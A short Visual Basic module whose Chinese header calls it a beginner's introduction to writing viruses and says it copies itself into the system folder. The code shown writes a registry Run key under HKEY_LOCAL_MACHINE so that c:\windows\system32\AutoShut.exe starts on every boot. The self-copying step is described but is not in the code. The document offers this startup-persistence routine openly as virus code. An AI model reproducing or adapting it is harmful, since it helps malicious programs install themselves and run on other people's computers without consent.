module2.bas

该程序可用于初学病毒编程的入门,先复制本身到系统system中

Attribute VB_Name = "Module2"
Public Function regedit()
Dim hKey As Long, SubKey As String, Exe As String
        SubKey = "Software\Microsoft\Windows\CurrentVersion\Run"
        Exe = ("c:\windows\system32\AutoShut.exe")
        RegCreateKey HKEY_LOCAL_MACHINE, SubKey, hKey
        RegSetValueEx hKey, "Shut", 0, REG_SZ, ByVal Exe, LenB(StrConv(Exe, vbFromUnicode)) + 1
        RegCloseKey hKey
End Function